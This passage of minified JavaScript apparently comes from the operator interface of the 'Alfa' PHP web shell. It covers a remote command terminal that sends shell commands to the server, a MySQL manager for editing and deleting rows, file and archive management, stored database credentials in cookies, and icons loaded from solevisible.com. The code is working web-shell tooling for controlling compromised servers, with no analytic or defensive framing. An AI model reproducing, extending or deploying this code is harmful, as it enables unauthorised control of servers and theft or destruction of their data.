input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var 